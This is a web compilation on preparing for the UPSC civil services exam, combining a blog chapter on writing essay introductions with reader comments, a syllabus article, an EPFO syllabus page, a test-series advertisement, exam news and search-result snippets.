Topic: Alternative technologies for a climate change resilient India Introduction: Around 1 million plant and animal species are on the verge of extinction, with alarming implications for human survival, according to a United Nations report. Our natural resources are getting depleted, rains are getting erratic, and the air is turning toxic. The scientific consensus is clear about the cause behind this dangerous trend: carbon emissions from human activities are irrevocably damaging the environment at a rapid pace. It’s not climate change anymore. It is climate emergency. This poses an imminent danger to the world, especially to the developing countries like India which have to balance the need for rapid economic growth with reducing carbon emissions. To tackle this challenge and make India climate change resilient, the country requires imagination and innovation— especially in alternative technologies.

4. Pose a Question — A series of rhetorical questions that encapsulate what you will discuss next. These questions act as thought-provoking tools and engage the attention of the reader by adding flair to your writing.

Topic : A good life is one helped by compassion and guided by humanity Introduction: What is a good life? This is a fundamental question that captured the human’s imagination for eternity. And we often hear many answers. Is it one with enormous wealth, power and status? Or is it one filled with compassion and empathy for fellow living beings? From Mahatma to Mandela, Lincoln to Luther King, if there is one common thread that binds these great lives, it is that they led a life full of compassion and love for fellow humans. From the lives of these great people who have left a remarkable legacy, what can we learn? How do we live a life full of purpose and meaning? How can we inculcate these learnings to become better individuals, build better societies, and shape great nations? Let us explore these fundamental questions.

5. Begin with a Quote (or a Poem) — A famous poem or quote is a time-tested way to start the essay. After you write the quote, the rest of the introduction must be an elaboration of the quote, explaining its significance and relevance to the question.

Topic : Can Capitalism bring inclusive growth? Introduction : “It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness…it was the season of light, it was the season of darkness…”, so wrote Charles Dickens during the Industrial Revolution. These lines describe the paradox of those times: incredible riches coexisting with unimaginable poverty. One would be inclined to form a similar opinion of modern day capitalism. Advocates of capitalism claim that it has created immense global wealth for everyone and accelerated our economic progress. Yet, critics point out that it is deeply biased towards a privileged few leading to a fundamental debate: can capitalism be beneficial to everyone? Is capitalism a rising tide that lifts all boats? Or is it a rigged system of the rich, by the rich and for the rich? The endeavour of this essay is to carefully examine these claims and provide an answer to the debate.

6. Provide Context to the Essay Topic — In this method, you write about the broad circumstances surrounding the issue. It can include any of these things: a recent legislation, a newly introduced government scheme, or a recurring current affairs topic. Writing about the topic’s context and its background information reads like a news report, and it might be something the reader already knows. So, on this front, it fails the first test of an effective introduction: to generate interest or curiosity. Use this method only when you cannot come up with other methods discussed above.

Topic : Aadhar and the right to privacy Introduction : The recent Supreme Court judgement in Justice Puttaswamy v Union of India case brought into sharp focus many important issues pertaining to Aadhar and its potential conflict with the privacy rights of the citizens. The Apex court ruled that the right to privacy is a fundamental right, and at the same time upheld the constitutional validity of the Aadhar Act. But critics of the Aadhar scheme point out that the empowering government to collect and store sensitive data of citizens such as biometrics is fraught with many risks and is prone to abuse of power. In this context, it is becoming increasingly important to understand the Aadhar scheme, its importance, drawbacks, and the potential solutions to balance the need of Aadhar with the requirement to protect the fundamental right to privacy of the citizens. Let us examine each of these issues in detail.

7. Define the Terms of the Essay — This is self-explanatory. In this method, break down the question in parts and define the meaning of each term. We use this technique extensively in GS papers. However, it is not the right approach for the essay. Remember that the essay is not meant to be written like a GS paper since the essay, apart from content, is also graded for language, flow, coherence and effective argumentation. Introducing your essay like a GS answer feels bland and clichéd, lacking any warmth or human element. So, it’s recommended that aspirants desist from using this type of introduction.

Topic: Fourth Industrial Revolution— Are we prepared for it? Introduction: Fourth Industrial Revolution refers to the collection of breakthrough technologies that have emerged in recent times. They include internet of things, Artificial Intelligence, Robotics and advancements in biotechnology. Internet of things help us to connect with material objects. AI is building brains that can now have the ability to think. Latest developments in Biotechnologies have given us the power to edit genes and engineer babies. All these technologies have the potential to fundamentally change the way we live our lives, but not always for the better. These technologies come with considerable risks, and therefore, require careful analysis and nuanced usage .

Thesis Statement

A thesis statement is a single sentence near the end of your introduction that presents your stand on the given topic. The rest of the essay is about evidence and reasoning to persuade the reader of the logic of your claim. It is a roadmap for your response, conveying to the reader what to expect from the rest of the essay.

Topic : Globalisation— A curse or a blessing? Thesis statement : In this essay, we will discuss the history, meaning and the impact of globalisation on various facets of humanity. We will then focus on the reasons which drove this phenomenon and the impact it has had. Finally, we will discuss the solutions to overcome the ill effects of globalisation to make it prosperous for all.

In the initial days, I used to write a thesis statement in my essays. But as I became better at structuring my write-up in a coherent way, I stopped writing it. In the final UPSC exam, I did not write one. So my suggestion is, if your essay is fluid with each argument flowing into the next effortlessly, then there is no need to write a thesis statement. But if you are new to writing essays and want to make things clear upfront, without leaving anything to guesswork, then state it. As you write more essays and become better at flow and structure, focus on subheadings and coherence between paragraphs to make the thesis statement unnecessary.

Note: This is a free chapter from my book, Fundamentals of Essay and Answer Writing.. The book has similar detailed chapters on Essay and answer writing for GS-1,2,3,4, and the Anthropology optional. You can get the book here.

23 thoughts on “ How to Write Essay Introductions in UPSC Exam ”

Hello sir…. Actually i am thinking to comment on your blogs from the time approximately 2 years back when i had read ur first blog, but could not…..from that day whenever i see the notification of your new blog…by keeping aside every task i just use to read ur blog first….and as usual , ur every blog just fascinates me in such a way that i use to read it thoroughly…nd carefully till the end..and i often use to visit ur website to read few of ur blogs again and again…even i recommend others to read it at once…where i find the treasure of a new vocabulary….and few give totally impactful thought process….I like your every blogs that of about ur interview, about bharat darshan…about Roger …about upsc preperation….but from that blog about “Gratitude ” is a blog which motivates me …and ask me to be satisfied with the present, whenever i get disappointed with my present. Ur journey from despair to destiny always inspire me to keep my dream alive…….Really Thank you..thank you so much for such a wonderful writing…keep guiding …..and keep inspiring…!! Finally i just commented ,could not stop myself from doing so…

Ohhh just I am noticing that you have replied here. These days i am not writing more, so haven’t noticed earlier and I think same is happening with you too as I am not getting notifications of your new blog more often.

thank you very much sir for your guidance

Will you plz send me the pdf of this book

Your made answer and essay writing so simple with these tips. I respect your thoughts, dedication and commitment towards helping others who aspire to serve the country. Keep doing so. I have been a fan of your blog. Well hoping to see myself in LBSNAA under your guidance … trying to be an ekalavya… Just kidding.. Thanks a ton for taking time to put up these tips on your blog . They are really helpful. If possible can you write a blog on diagram , flowcharts etc for Mains answer writing. Please !!

Regards, Yogendra Mouli

You are in lbsnaa

Dear Sir, I am a fan of you. This year you posted new article for aspirants. Your are doing a well work….

sir thanks a lot for ur prestigious and valuable guidance that how we all should write an impact full /attractive essay

You are my inspiration sir. Your blog are so much helpful for us. Thanku so much Sir???

Thank you very much sir it is very useful

Thank you very much sir , I hope you will keep continue doing this noble work for us aspirants.

Thank you Anudeep Durishetty for such a brilliant article. I had this starting problem and found it very difficult even though I knew the contents and everything related. Apart from this, there was no good information to help me out with my starting problem. Now, I will try using your method, so just wish me luck.

Thank you very much sir Very useful blog for us N now we are vigorously waiting for a book.

Actually sir, from all your blog I came through so many new vocabulary words and thinking where these man could have learned all these words. And I am hoping you II be revealing answers to my thoughts.

Its really helpful sir . Thank you .

Sir i have a doubt. Can we write a story of other Nation while giving introduction ( I got this doubt while writing an essay about primary health sector) Sir please reply

Can we write imaginary story for introduction in essay

Dil se sukriyaa apko sir

Anudeep Sir, I have one doubt regarding writing. I have wired habit of writing in capitals because of architecture and design background. So, can we write answers in capital?

sir i am gujarati meadium student? so i am fearful for write essay in english.

Good morning sir today I buy this book but it could not open I paid 399 sir

sir i just bought your book but unable to access after downloading the file is not getting open i bought 399 edition

Essay Syllabus

In this article, we will discuss the UPSC essay syllabus and its importance in the preparation for the prestigious Civil Services Examination. The essay paper is a vital component of the UPSC mains exam, and it evaluates a candidate’s ability to express their thoughts in a concise and coherent manner. We will explore the structure and format of the essay paper, the types of topics that usually appear, and the approach that candidates should adopt while attempting the essay. By the end of this article, you will have a clear understanding of the IAS essay syllabus and how to prepare for it effectively.

Importance of Essay Paper

Aspiring candidates preparing for the UPSC IAS examination must pay close attention to the Essay Paper section. It holds significant weightage and plays a vital role in determining the candidate’s overall rank. You must dedicate time and effort to develop this skill, as the Essay Paper is a reflection of your critical analytical and comprehensive aptitude. This paper evaluates your presentation skills, creativity, and thought process. Moreover, it tests your ability to articulate your thoughts coherently and succinctly. So, start working on your writing skills from today to make the most of this crucial paper.

Syllabus Overview

The syllabus for the essay paper is not specifically defined . Aspiring civil servants preparing for the highly competitive UPSC IAS exam must focus their attention on the essay paper. This is where candidates can showcase their writing skills and analytical abilities.

The essay paper is divided into two sections, each consisting of four topics. Candidates are required to write two essays in a span of three hours. The essays carry a total of 250 marks and are a crucial part of the selection process. It covers a wide range of topics from socioeconomic issues, to political and philosophical musings.

However, it is important to note that candidates are not expected to be experts in any particular subject. Rather, the essay paper tests their ability to articulate their thoughts and opinions. It is crucial that candidates start preparing for the essay paper well in advance, paying careful attention to the type of essays and common mistakes to avoid.

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Types of Essays

When it comes to the UPSC Essay Syllabus , it’s crucial to understand the types of essays you’ll be asked to write. As such, you must know the different types of essays that are tested in the examination, such as Informative essays, Descriptive essays, Narrative essays, and Persuasive essays. Each type has its unique writing style, skill set, and format to adhere to.

Thus, mastering each essay type is important to score high marks in the exam. While an informative essay highlights the positive and negative points of the given topic, a descriptive essay must focus on describing the topic. The narrative essay must follow a story-style narration while the Persuasive essay must be written in a way to convince the reader about the given topic.

Therefore, a deep understanding of the types of essays is necessary to excel in the UPSC IAS Exam.

Topics for Essay Writing

The UPSC Essay paper is an important part of the Civil Services Examination. As a part of the UPSC essay syllabus , candidates need to write two essays for the examination. The essays are supposed to be on topics of national and international importance, relevant social, economic, and political issues, cultural, historical and geographical significance, and contemporary issues of interest.

The topics for essay writing can range from the economy, politics, education, health, women empowerment, environmental issues, human rights, current affairs, science, technology, and more. It is advisable to read newspapers and books to keep oneself updated with the latest developments and possible essay topics. Additionally, candidates can also refer to previous years’ question papers to understand the nature of the questions and topics that are frequently asked.

Candidates should choose a topic that they are familiar with and express their thoughts and opinions in a coherent and structured way. The essay should be well-researched, free from grammatical errors, and should have a clear introduction, body, and conclusion. By choosing the right topic and writing an impressive essay, candidates can score well on the UPSC IAS Essay paper .

Essay Writing Tips

Here are some tips for candidates to excel in the essay writing section:

Understand the topic: It’s important to read and comprehend the essay topic thoroughly. Ensure that you understand the question’s intent, the tone of the essay, and the arguments that you need to present.
Prepare an outline: Creating an outline before writing helps the writer organise their thoughts and arguments logically. It ensures that the essay is structured and coherent.
Write in a simple and lucid language: UPSC exams are not meant to test your vocabulary. Therefore, try to write in simple and clear language.
Stick to the word limit: The UPSC sets a word limit for each essay question. Exceeding the limit can result in a deduction of marks. Therefore, it is crucial to practice writing essays within the stipulated word limit.
Provide examples and facts: To support your arguments, use real-life examples and factual data to reinforce your views.

By following these tips and practising regularly, aspiring candidates can improve their essay-writing skills, making it easier to crack the UPSC exam successfully.

How to Prepare for an Essay Paper

The essay paper is an integral part of the UPSC IAS exam, and it requires a different level of preparation compared to other papers. In order to ace the essay paper, it is important to have a clear strategy and methodical approach.

First and foremost, it is essential to understand the types of essays that might appear in the exam. This will help in creating a plan for essay writing and practicing accordingly.

Another important aspect is staying updated on current affairs and trending topics. Keeping oneself informed about world events and happenings helps in generating ideas and content for the essay.

It is also crucial to focus on improving language skills and creative thinking. Reading widely, practicing writing every day, and taking mock essay tests can help in enhancing these skills.

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When it comes to time management, it is recommended to allocate a fixed amount of time for brainstorming, outlining, and writing the essay. This helps in maintaining a structured and organized approach.

Lastly, it is crucial to avoid common mistakes like using too many quotes, memorizing essays, or not staying relevant to the topic. These mistakes can be easily avoided by focusing on the guidelines and practicing regularly.

Overall, preparing for the essay paper requires focus, dedication, and a structured approach. By following these tips, one can improve their chances of acing the essay paper and moving closer to their dream of becoming an IAS officer.

Common Mistakes to Avoid in Essay Writing

UPSC essay writing is an important component of the civil services examination. However, many students make some common mistakes while writing their essays that can prove detrimental to their scores. Here are a few errors to avoid when writing your UPSC essays :

Lack of clarity: One of the most common mistakes that students make is writing unclear or ambiguous essays. Ensure that the language and ideas that you use are clear and concise.
Overuse of quotes: Many students use too many quotations in their essays, which makes them sound less original. Try to use quotes sparingly, and only when they add significant value to your essay.
Poor structure: A well-structured essay requires an introduction, several paragraphs supporting your arguments, and a conclusion. Ensure that your essay has a clear and logical structure.
Lack of relevance: Many students write essays that are not directly relevant to the question asked, which can result in a reduced score. Make sure you understand the question and write an essay that is directly relevant to it.
Poor time management: UPSC essay writing requires a student to demonstrate their ability to write coherently and without errors within a given period. Students must manage their time effectively, allowing ample time for each paragraph, revision, and proofreading.
Lack of examples: Candidates should use examples from real life, which strengthens their arguments and provides more depth to their essays.

Avoid these common mistakes during your UPSC essay writing , and you are one step closer to achieving a high score that will make you proud.

Frequently Asked Questions (FAQs):-

Q1. Which type of essay comes in the IAS exam?

Ans: The four types of essays that come in the IAS exam are Informative essays, Descriptive essays, Narrative essays, and Persuasive essays.

Q2. How to write a UPSC-level essay?

Ans: Tips to write UPSC Essay are given in the article above.

Q3. What is a good score for a UPSC essay?

Ans: An average score falls within the range of 110-125. However, exceptional essays can receive marks as high as 150-160.

Q4. How long is the UPSC essay paper?

Ans: The candidate is to write two essays in a span of 3 hours with a word limit of 1000-1200 words per essay. There are two sections which contain 4 topics each and out of which the candidate has to pick a single topic from each section to write an essay on.

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UPSC EPFO Personal Assistant Syllabus 2024: PDF Download For Important Topics, Check Exam Pattern

Upsc epfo pa syllabus 2024: the upsc epfo personal assistant syllabus is divided into four subjects, i.e., english language, general awareness, quantitative aptitude and reasoning & computer aptitude. check here for the latest exam pattern and download the syllabus pdf..

UPSC EPFO Personal Assistant Syllabus 2024: The Union Public Service Commission (UPSC) EPFO Personal Assistant (PA) syllabus is divided into subjects such as general awareness, quantitative aptitude, English language and reasoning, & computer aptitude. Candidates must check the updated syllabus and plan their strategy for the upcoming exam.

Besides the official syllabus, candidates must also be familiar with the UPSC EPFO PA exam pattern to understand the exam format, maximum marks, and the marking scheme specified by the authority. Checking the syllabus is crucial before commencing exam preparation.

In this blog, we have shared the UPSC EPFO Personal Assistant syllabus 2024 PDF, including the exam pattern, preparation strategy, and best books to obtain scores in the exam.

UPSC EPFO Personal Assistant Syllabus 2024 Overview

UPSC EPFO PA Syllabus 2024 PDF

UPSC EPFO PA Syllabus 2024: Important Topics

UPSC EPFO Personal Assistant Selection Procedure 2024

Upsc epfo pa exam pattern 2024.

The written exam comprises objective-type questions with multiple choices of answers.
The medium of the exam will be English and Hindi, except for those questions in the English language.
The exam duration will be two hours.
All questions will carry equal marks.
There shall be a negative marking of one-third for every wrong answer. If no answer is marked for a question, there will be no penalty for that question.
Based on the marks scored in the written exam, candidates will be shortlisted for the Skill Test. The skill test is mandatory but qualifying in nature.

How to Cover UPSC EPFO PA Syllabus 2024?

Check the UPSC EPFO PA exam syllabus 2024 to understand the topics that can be asked from every subject in the exam.
Pick the best books and study material to learn the fundamentals and advanced chapters.
Attempt questions from mock tests and UPSC EPFO PA previous year's question papers to check the progress of their preparation.
Revisit short-cut tricks, formulas, and topics regularly to strengthen their exam preparation.

Best Books for UPSC EPFO PA Syllabus 2024

Analytical Reasoning by M K Pandey
Fast Track Objective Arithmetic by Rajesh Verma
A Modern Approach to Verbal and non-verbal Reasoning by R.S Aggarwal
Quantitative Aptitude for Competitive Examinations by RS Aggarwal
General Knowledge Book for Competitive Exams by Manohar Panday

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What is the UPSC EPFO PA syllabus 2024? + The UPSC EPFO PA exam syllabus is divided into four subjects such as English Language, general awareness, quantitative aptitude and reasoning & computer aptitude.
What is the UPSC EPFO PA written exam pattern? + As per the UPSC EPFO PA exam pattern, the written exam carries 300 marks. The exam duration will be 2 hours.
How do you prepare for the UPSC EPFO PA Syllabus 2024? + To crack the UPSC EPFO PA written exam, candidates must follow the UPSC EPFO PA syllabus and attempt mock tests to obtain favorable results in the exam.
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[Admissions Open] Insights IAS Revamped YLM (Year-long Mains) Test Series for UPSC CSE IAS Exam 2025 2.0| Starts on 11th July 2024

Announcing year-long mains test series 2025 2.0 for upsc cse 2025.

Starts on: 11th July 2024

CLICK HERE TO SUBSCRIBE TO YLM TEST SERIES 2.0 for UPSC CSE 2025

Click here to download the timetable (full package).

Full Package : Rs. 29500/- incl. taxes

Only GS : Rs. 24000/- incl. taxes

Only Essay: Rs. 6500/- incl. taxes

Only Ethics: RS. 6500/- incl. taxes

Early Bird Offer: : 10% OFF, valid till 10th July 2024

Old Subscriber Offer: 10% OFF

Dear student,

We are hereby launching our highly regarded YLM(Year-long Mains) Test Series 2025 2.0 which provides a comprehensive schedule, disciplined approach and features for your Mains preparation. The adage goes: “Read to remember and write to retain.” Based on our extensive experience guiding thousands of aspirants, we’ve found that it’s crucial for candidates not only to read and learn from textbooks but also to analyze, understand, and apply the concepts in a structured format. This approach helps them to make mistakes early, practice more effectively, and enhance both the quality and speed of their answer writing.

This year, the YLM Test Series promises to be special. We’ve incorporated numerous new features to align with the evolving patterns and trends of the UPSC CSE.

Our entire strategy for the YLM TEST SERIES is driven by the unique EBS strategy .

What is the EBS Strategy?

ESSENTIAL approach: emphasizes on building the basics
BREAKTHROUGH approach: tests the ability to link facts and concepts with Current Affairs.
SIMULATION approach: tests aspirants in an exam like environment to help them consolidate and finally put to test the effectiveness of their preparation. Taking tests regularly will ensure that it becomes a part of your routine, preparing you to perform well in every test without the usual accompanying jitters

EBS Approach(Essential, Breakthrough & Simulation) ensures to STEP-UP the difficulty level gradually, making you more competitive and ensuring that you inculcate the art of inter-disciplinary linkages in your answer writing skills for UPSC Mains exam.

Total Number of Tests :

: 21 Mini Tests + 36 Full Length =

: 10 Tests

FEATURES OF IPM Test Series:

	Mains tests are designed to help in + You will start with Mini tests for every subject and then proceed towards the full-length tests.
	The timetable has been drafted carefully keeping in mind the dynamic demands of the exam and also to ensure you complete the entire syllabus with .
	of duration 1.5 hours are also included for Mains tests. This will help you improve in an incremental manner

	An endeavor to help students, motivate them & to provide the right guidance. The mentorship will be
	Time-Bound & Holistic
	will be made available for all the tests. (Only softcopy will be provided)
	Will provide the These discussions will give a precise roadmap for your preparation for the upcoming test.
	Tests can be taken up any time before the MAINS 2025.
	Will be provided to enhance clarity on question requirements, explained in detail through recorded discussion videos.
	Guaranteed evaluation of minimum
	To ensure our test series students are progressing well, we’ll conduct Zoom sessions every 15 days led by . These sessions will allow us to monitor their progress, address difficulties, and provide feedback.
	Regular Interactive Feedback Session with Vinay Sir after Ethics/Essay Tests
	A dedicated team will be available to clear all your doubts on the tests
	The will be provided
	Previous Years’ UPSC Papers + Discussion & Strategy Videos. Before the start of the Simulation Round, we will be providing classes with tips and techniques for scoring well in prelims and other strategy classes.

We have incorporated all the constructive feedback received by a good pool of aspirants and this year we have introduced many new features.

	Our first round prioritizes subjects based on their weightage in the exam. We start with Polity, Economy, Modern India, Geography, Environment, and Science and Technology, followed by the remaining subjects.
	We understand that both freshers and veterans find it challenging to tackle full-length subjects and tests right away, leading to procrastination. To address this, we start with Mini-tests and gradually move to Full-Length Tests (FLTs) for each subject, helping you build confidence and comfortably complete the syllabus.
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4th Round is Simulation round where the entire paper mimics UPSC Papers and prepares you to tackle any kind of question.

2. Time Gap Between tests in Essential round is kept at 5 days for Mini-tests ad 8 days for FLTs . This will provide you ample time to cover the syllabus. Even if you are not able to complete the syllabus, do not panic, as you will be covering it again during the Revision tests and in the 2nd round.

3. Time Gap between the tests in Breakthrough round is kept at 7 days and for Round 3 it is kept at 7 days. Again, Revision Tests of Breakthrough round will equip you with confidence of having covered the syllabus 3 times by now. In the Breakthrough Round you will also be covering important releases by Government from which questions are expected every year – INDIA YEAR BOOK , ECONOMIC SURVEY & BUDGET.

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– The simulation round will be conducted in 2 sets after Prelims exam.

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UPSC CSE 2024 DAF-1 Released For Civil Service Mains Exam, Application Open Till July 12

Curated By : Sukanya Nandy

Last Updated: July 04, 2024, 11:10 IST

New Delhi, India

This year, the NDA has made available 370 seats, while the NA has 34 seats, totalling 404 seats for the NDA and NA II examinations. (Representational image)

UPSC CSE 2024: Candidates who have qualified for the preliminary exam may fill out the DAF Form 1 for the mains round by July 12.

The Union Public Service Commission has started the application process for Detailed Application Form 1 (DAF-1) for the civil service mains exam 2024 at the official website, upsc.gov.in. Candidates who have qualified for the preliminary exam may fill out the DAF Form 1 for the mains round by July 12.

“It may be noted that as per Rules of Civil Services Examination-2024, any delay in submission of the DAF-I or documents in support beyond the prescribed date will not be allowed and will lead to cancellation of the candidature for the CSE-2024,” reads the official notice by UPSC.

UPSC CSE DAF- 1 2024: HOW TO APPLY

Step 1: Visit the official website of the Union Public Service Commission (UPSC) — upsc.gov.in.

Step 2: Click on the link for UPSC CSE 2024 DAF 1.

Step 3: Click on the exam name and register yourself.

Step 4: Fill in the necessary details and upload the required documents to complete the application form.

Step 5: Proceed to pay the application fee.

Step 6: Submit the application form and save it for future reference.

UPSC CSE DAF 2024: APPLICATION FEE

The UPSC CSE Main Examination application fee is Rs 200. Candidates who are female and who fall under the SC, ST, and PwBD categories are not required to pay the application fee.

Talking about the UPSC mains exam, nine papers made up of standard essay-style questions from the topics indicated in the announcement will make up the written test. Out of these, two papers will be qualifying in character. The CSE mains written exam will have a total weight of 1750 marks. Candidates who get the required minimum score in the written exam will next be asked to appear for the interview or personality test, which carries a weighted score of 275. For ranking purposes, candidates’ scores on the required written exam papers (papers I through VII) and the interview will be taken into consideration.

Stay ahead with all the exam results updates on News18 Website .

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UPSC Prelims Result 2024 out Live: Civil Services Prelims result declared at upsc.gov.in, here's direct link to check

UPSC Result 2024 Live: Civil Services or CSE Prelims results announced on upsc.gov.in (HT)

UPSC Prelims Result 2024 Live: The Union Public Service Commission (UPSC) declared the Civil Services (Preliminary) examination results on Monday. The result have been shared with candidates on upsc.gov.in. The question papers of the test was released earlier. UPSC Civils Services Prelims results 2024 declared, direct link ...Read More

Follow this live blog for the latest updates on UPSC CSE Prelims result 2024

UPSC CSE Prelims results 2024: Students had said question paper was relative easy this year

Candidates who appeared in the UPSC civil services preliminary examinations had earlier said that this time the question paper was relatively easier than last year.

UPSC CSE Prelims results 2024: What next after Prelims results

Candidates who have qualified in the Civil Services preliminary examinations will proceed to the next and crucial phase, the UPSC CSE Mains 2024.

UPSC CSE Prelims results 2024: Steps to download list of qualified candidates

Visit the official website of UPSC at upsc.gov.in.

On the home page, click on the UPSC Civil Services (Preliminary) Result 2024 link available.

A new page will open where candidates will have to enter the required details.

Click on submit and the result will be displayed.

Check the result and download the page.

Keep a hard copy of the same for further need.

UPSC CSE Prelims results 2024: UPSC prelims examination was held on June 16

The Union Public Service Commission conducted the civil services preliminary examination on June 16 this year.

UPSC CSE Prelims results 2024: Marks, cut off marks and answer keys to be released after final results

The marks, cut off marks and answer keys of Civil Services Prelims Examination, 2024 will be uploaded on the UPSC website after the declaration of final result.

UPSC CSE Prelims results 2024: Dates and instructions for filling DAF to be out later

The dates and instructions for filling up of the DAF-I and its submission will be announced later on UPSC website.

UPSC CSE Prelims results 2024: Qualified candidates have to apply again for Mains

The qualified candidates have to apply again in the Detailed Application Form-I (DAF-I) for the Civil Services (Main) Exam, 2024.

UPSC CSE Prelims results 2024: Passed candidates have qualified for mains

The candidates whose roll numbers are given in the list have qualified for admission to the Civil Services (Main) Examination, 2024.

UPSC CSE Prelims results 2024: Direct link to check

The direct link to check civil services prelims result is here

UPSC CSE Prelims results 2024 declared

The Union Public Service Commission on Monday, July 1 declared the civil services preliminary exam results.

UPSC Result 2024 Live: Important website to check results

The UPSC CSE Prelims results 2024 will be out on upsc.gov.in.

UPSC Result 2024 Live: What after the Prelims result?

UPSC Result 2024 Live: After the UPSC CSE Prelims result, the selected candidates will be eligible for the Mains round, which consists of two parts – a written examination and a personality test.

The UPSC Mains exam is tentatively scheduled to be held from September 20 onwards.

UPSC CSE Prelims Result 2024 Live: Exam held for 400 marks

UPSC CSE Prelims 2024 Live: The exam was conducted in two shifts for general studies paper 1 and paper 2, and for a total of 400 marks. All questions were objective-type carrying four options.

UPSC Prelims Result 2024 Live: When was result announced last year?

UPSC Prelims Result 2024 Live: Last year the Civil Services Prelims exam was held on May 26 and the result was declared on June 12. This year, the test took place on June 16 and the result is expected soon.

UPSC Result 2024 Live: Civil Services Prelims results soon

UPSC Result 2024 Live: The Union Public Service Commission (UPSC) will announce the Civil Services (Preliminary) results soon on its websites, upsc.gov.in and upsconline.nic.in.

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UPSC Prelims Results 2024 declared: Direct link and steps to check

UPSC Prelims Results 2024 declared: Direct link and steps to check

How to check UPSC Prelims Results 2024

Upsc prelims results 2024: exam details, upsc prelims results 2024: passing criteria, upsc prelims results 2024: what after declaration of results, visual stories.

COMMENTS

Essay Writing for Civil Services Examination
Broadly speaking, there are two types of essays - formal and informal. In the UPSC Civil Services Examination (CSE), we are concerned with the formal essay. The formal essay is relatively impersonal, the author writes it as an authority and such essays tend to be less emotional. Formal essays can also have factual elements in it, like quoted ...
ESSAY STRATEGY By Anudeep Durishetty, UPSC Civil Services Exam Topper
My notes, quote collection and sample essays What UPSC says about the essay paper "Candidates may be required to write essays on multiple topics. They will be expected to keep closely to the subject of the essay, to arrange their ideas in an orderly fashion, and to write concisely.
How to Write Essay in UPSC Exam
The Essay Paper is one of the nine papers in the UPSC civil services mains exam. In this paper, you will have to write two essays, each with a word count of 1000-1200. One topic can be selected from a choice of four topics. The Essay Paper is for a total of 250 marks, with one essay for 125 marks.
Model Essays
UPSC IFoS Prelims Result 2024 UPSC CSE Prelims Result 2024 UPSC Prelims 2024 CSAT (Answer Key) Revised Answer Key UPSC Prelims 2024 GS 1 UPSC Prelims 2024 CSAT UPSC Prelims 2024 GS 1 Mains Test Series scheduled to begin from 9th June, 2024 has been postponed as UPSC CSE Preliminary exam was moved forward due to Lok Sabha elections of 2024. UPSC Calendar 2025 Final Result - Civil Services ...
Essay Paper UPSC 2023 (Mains) Question Paper and Analysis
UPSC conducted the Civil Service Mains exam for essay paper on 15 September 2023. The CSE mains essay paper comprises two sections. Each section contains 4 essay topics. Out of which 2 topics of choice from each section need to be picked. Candidates were supposed to answer about 1000-1200 words for each essay.
WEEKLY UPSC IAS ESSAY WRITING CHALLENGE
WEEKLY UPSC IAS ESSAY WRITING CHALLENGES - 2022. December 25, 2022 : To tolerate is purely an act of mind. December 18, 2022 : The arc of moral universe is long, but it bends towards justice. December 11, 2022 : Religion is a culture of faith; Science is a culture of doubt.
UPSC Essay Topics
The UPSC Essay Topics related to Indian society, art, and culture cover a wide range of subjects, offering great diversity. To gain knowledge about the static content on these topics, you should rely on fundamental books on society, as recommended for the exam. Here is a list of UPSC Essay Topics on Indian Art and Culture:
Essay Syllabus
UPSC Civil Service Mains Paper 1 (popularly known as essay paper) is now of 250 marks. Candidates may be required to write essays on multiple topics. They will be expected to keep close to the subject of the essay to arrange their ideas in orderly fashion, and to write concisely. Credit will be given for effective and exact expression.
Essay Paper UPSC 2021 (Mains): Question Paper and Analysis
UPSC conducted the Essay Paper, as part of the Civil Services Main Exam 2021 on 07-01-2022. There were 8 Essay topics, out of which candidates were asked to write on two topics in 3 hours. Candidates were supposed to answer about 1000 words for each essay (about 10-12 pages).
Essay Writing for UPSC
Essay Writing for UPSC. The UPSC Mains Examination comprises a total of nine papers, inclusive of an essay paper. The Essay Paper is categorised into sections A and B, each containing four topics. These topics hold a value of 125 marks each, thereby totalling 250 marks (125×2). Candidates are required to choose one topic from each section and ...
Writing a good Essay in UPSC Mains, Explained by Anudeep Durishetty
My notes, quote collection and sample essays; What UPSC says about the essay paper "Candidates may be required to write essays on multiple topics. They will be expected to keep closely to the subject of the essay, to arrange their ideas in an orderly fashion, and to write concisely. Credit will be given for effective and exact expression."
UPSC Essay Topics: Structure and Effective Writing Strategies
Marks Distribution- The UPSC CSE Essay Paper in Mains Exam consists of two sections A and B with four UPSC Essay Topics each of 125 marks and a total of 250 (125×2) marks. Word Limit- Candidates are given a choice to select a UPSC Essay Topics from each section and write about it in 1,000 to 2,000 words within the given time of three hours.
UPSC ESSAY STRATEGY: How to Write an Essay!
As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don't do anything foolish. Use quotes selectively and wisely. Not using a quote is way better than using it wrongly.
7 Easy Steps on Essay Writing for UPSC Mains Exam
The UPSC Mains Exam has a total of 9 papers which includes an essay paper as well. The Essay Paper in the IAS Mains Exam consists of two sections A and B with four topics each of 125 marks and a total of 250 (125×2) marks. Candidates have to select a topic from each section and write about it in 1,000 to 2,000 words within the given time of ...
UPSC Essay
The UPSC essay paper is one of the nine papers for the IAS main exam. With this, the scores obtained in the UPSC essay topics will also be considered in the merit list. Hence, it is important to cover all the aspects of the UPSC essay syllabus.. In this paper, candidates need to write two essays, each with a word limit of 1000-1200 words.
How to Write an Essay? 9 Tips To Score Better in UPSC Essay Paper
Keep your Paragraphs Coherent to Each Other. When writing a long essay for UPSC of 1000-1200 words, it's quite easy to end up losing out on the main message you want to convey. To ensure that you deliver the desired message, it is crucial to present your sentences/ paragraphs in an organized and sequential manner.
How To Write An Essay For UPSC
In broader terms, the essay paper in UPSC mains is divided into two sections i.e. section A & section B. Each section also comprises four UPSC essay topics with a maximum mark of 125 each. Out of these, candidates need to choose one topic from each of the sections and write two UPSC essay papers in about 1000-1200 words each. Thus, it is ...
VisionIAS UPSC Toppers' Answer Copies
Understand UPSC Toppers' approach, refine your answer-writing skills, and get a clearer perspective for your Civil Services Exam preparation ... Essay, and Optional Subjects, ensuring ongoing assessment and continuous enhancement of student performance. A dedicated and dynamic Mentoring ecosystem provides personalized guidance to help students ...
UPSC Essay Topic wise Question Papers of last 30 years (1993-2022)
In the UPSC mains examination, essay paper is worth 250 marks and three hours. Here is the topic wise questions from the earlier years for the benefit of civil service IAS IPS aspirants. 1 India: Democracy, administration, Society, culture. 1.1 India Since Independence. 1.2 Federalism, Decentralization.
6 Easy Steps On Essay Writing For UPSC Mains Exam 2024
